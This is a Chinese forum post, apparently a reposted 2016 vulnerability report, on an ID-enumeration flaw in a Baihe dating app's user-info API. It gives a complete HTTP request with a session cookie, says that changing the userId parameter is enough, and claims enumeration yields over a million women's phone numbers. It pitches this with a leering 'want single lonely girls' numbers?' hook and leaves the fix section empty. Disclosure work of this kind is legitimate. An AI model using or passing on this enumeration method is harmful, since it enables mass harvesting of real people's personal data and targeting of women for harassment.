HanDs
管理员

[7月漏洞公开] 百合网某APP设计缺陷(影响100w+妹子手机号) 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

单身寂寞的妹子手机号你要吗?

详细说明:

code 区域
GET /user/getUserInfo?userId=1528&longitude=116.486212&latitude=40.001696&version=1.5.0&talk=0&channel=android%7C%7CAndroid_4.4.2%7C%7C008_miyu_android_huawei%7C%7CPE-TL20%7C%7CHUAWEI HTTP/1.1
Host: miyu.apps.ibaihe.com
Connection: close
Cookie: SESSIONID=8A599FECF109036C02D79CB403CF667000A14794DAA7C986FB57C40F6393990F2E10F857C26256698BBDA6AF5A7D2456A41ACE153F7D435B7D1A9A01C1FDD016CECC60F99738981F657CA808FA71C17FA66B31A3586B77223D6BACC01FE93CDA
Cookie2: $Version=1
Accept-Encoding: gzip



修改userId即可

b5.png



找个妹子试试

b.jpg



b1.png

漏洞证明:

遍历下100w以上

b4.png



b2.png

修复方案:


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
百合 A PP
#1楼
发帖时间:2016-7-19   |   查看数:0   |   回复数:0
游客组
快速回复